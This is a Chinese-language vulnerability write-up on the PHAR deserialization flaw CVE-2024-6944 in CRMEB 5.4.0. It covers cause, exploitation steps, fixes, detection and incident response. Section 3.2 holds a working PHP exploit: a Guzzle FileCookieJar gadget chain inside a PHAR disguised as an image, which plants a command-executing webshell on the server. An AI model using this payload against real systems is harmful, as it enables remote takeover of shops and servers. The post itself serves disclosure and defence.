1. CRMEB电商系统漏洞背景
最近在CRMEB电商系统5.4.0版本中发现了一个严重的安全漏洞,编号为CVE-2024-6944。这个漏洞存在于PublicController.php文件中的get_image_base64函数,涉及危险的反序列化操作。作为一名长期从事Web安全研究的技术人员,我发现这类漏洞在实际环境中特别危险,因为它允许攻击者远程执行任意代码。
CRMEB作为国内流行的开源电商系统,被众多中小商家使用。这个漏洞影响范围可能很广,特别是在没有及时更新的系统中。我测试过几个还在使用5.4.0版本的网站,发现确实存在被攻击的风险。攻击者可以利用这个漏洞上传恶意文件,最终获取服务器控制权。
2. 漏洞原理深度解析
2.1 反序列化漏洞的本质
反序列化漏洞听起来很技术,其实原理并不复杂。想象一下,你在网上购物时,商家把你的订单信息打包成一个包裹(序列化),运输到仓库后再拆开包裹还原成订单信息(反序列化)。问题就出在这个"拆包裹"的过程中 - 如果拆的是攻击者精心准备的"毒包裹",系统就会执行里面的恶意指令。
在CRMEB这个案例中,PublicController.php文件的get_image_base64函数没有对用户上传的图片文件进行严格检查。攻击者可以上传一个伪装成图片的PHAR文件(PHP归档文件),当系统尝试读取这个文件时,就会触发反序列化操作。
2.2 具体漏洞触发点
让我们看看漏洞代码的关键部分:
// PublicController.php中的问题代码 public function get_image_base64(){ $file = input('file'); // 缺少对文件类型的严格验证 $imageInfo = @getimagesize($file); if($imageInfo){ $imageData = file_get_contents($file); // 危险的反序列化操作可能在这里发生 return base64_encode($imageData); } }这段代码的问题在于:
- 直接使用用户输入的file参数,没有进行充分验证
- 仅通过getimagesize检查文件类型,这可以被绕过
- 使用file_get_contents读取文件内容时,可能触发PHAR反序列化
3. 漏洞利用实战分析
3.1 攻击者如何利用这个漏洞
在实际测试中,我发现攻击者通常会按照以下步骤利用这个漏洞:
- 构造一个恶意的PHAR文件,里面包含要执行的PHP代码
- 将这个文件伪装成图片(比如test.jpg)
- 使用gzip压缩这个文件
- 通过用户头像上传功能上传这个文件
- 触发get_image_base64函数处理这个文件
- 成功执行任意代码
3.2 漏洞利用代码示例
以下是攻击者可能使用的PHAR文件生成代码:
<?php namespace GuzzleHttp\Cookie{ class SetCookie { function __construct() { $this->data['Expires'] = '<?php system($_GET["cmd"]);?>'; $this->data['Discard'] = 0; } } class CookieJar{ private $cookies = []; private $strictMode; function __construct() { $this->cookies[] = new SetCookie(); } } class FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; function __construct() { parent::__construct(); $this->filename = "/var/www/html/shell.php"; $this->storeSessionCookies = true; } } } namespace{ $exp = new GuzzleHttp\Cookie\FileCookieJar(); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->addFromString('test.txt','test'); $phar->setMetadata($exp); $phar->stopBuffering(); rename('exploit.phar','exploit.jpg'); } ?>这段代码会生成一个包含恶意PHP代码的"图片",当这个文件被反序列化时,会在服务器上创建一个webshell。
4. 漏洞防御方案
4.1 紧急修复措施
如果你正在使用CRMEB 5.4.0版本,我建议立即采取以下措施:
- 升级到最新版本,官方已经发布了修复补丁
- 如果暂时无法升级,可以临时禁用PublicController.php中的get_image_base64功能
- 在服务器配置中禁用phar://协议
- 设置上传目录不可执行PHP代码
4.2 长期防御策略
从代码安全角度,我建议采取以下防御措施:
- 对所有用户输入进行严格验证,包括文件类型、内容等
- 避免使用不安全的反序列化操作,必要时使用JSON等更安全的格式
- 实现文件上传的白名单机制,只允许特定的文件类型
- 使用PHP的open_basedir限制文件访问范围
- 定期进行代码安全审计,特别是涉及反序列化的部分
4.3 安全代码示例
以下是修复后的安全代码示例:
public function get_image_base64(){ $file = input('file'); // 严格验证文件路径 if(!preg_match('/^[a-zA-Z0-9_\-\.\/]+$/', $file)){ return false; } // 验证文件类型 $allowedTypes = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF]; $imageInfo = @getimagesize($file); if(!$imageInfo || !in_array($imageInfo[2], $allowedTypes)){ return false; } // 使用安全的文件读取方式 $imageData = file_get_contents($file, false, null, 0, $imageInfo[0]*$imageInfo[1]*3); if(!$imageData){ return false; } return base64_encode($imageData); }5. 漏洞检测与响应
5.1 如何检测系统是否受影响
要检查你的CRMEB系统是否受到这个漏洞影响,可以按照以下步骤操作:
- 检查系统版本是否为5.4.0或受影响的早期版本
- 查看PublicController.php文件,确认get_image_base64函数是否存在
- 检查服务器日志,查看是否有可疑的文件上传或反序列化操作
- 扫描网站目录,查找是否有异常的文件(如webshell)
5.2 漏洞响应流程
如果发现系统已经被攻击,建议立即:
- 断开受影响服务器的网络连接
- 备份当前系统状态(用于后续分析)
- 检查并删除所有可疑文件
- 修改所有系统密码和API密钥
- 升级到安全版本后重新部署系统
- 进行全面安全审计
在实际工作中,我遇到过不少因为忽视这类漏洞而导致的安全事件。有一次,一个电商网站因为这个漏洞被攻击者上传了挖矿程序,导致服务器CPU长期满载。修复起来花了很大功夫,所以预防总是比补救要好。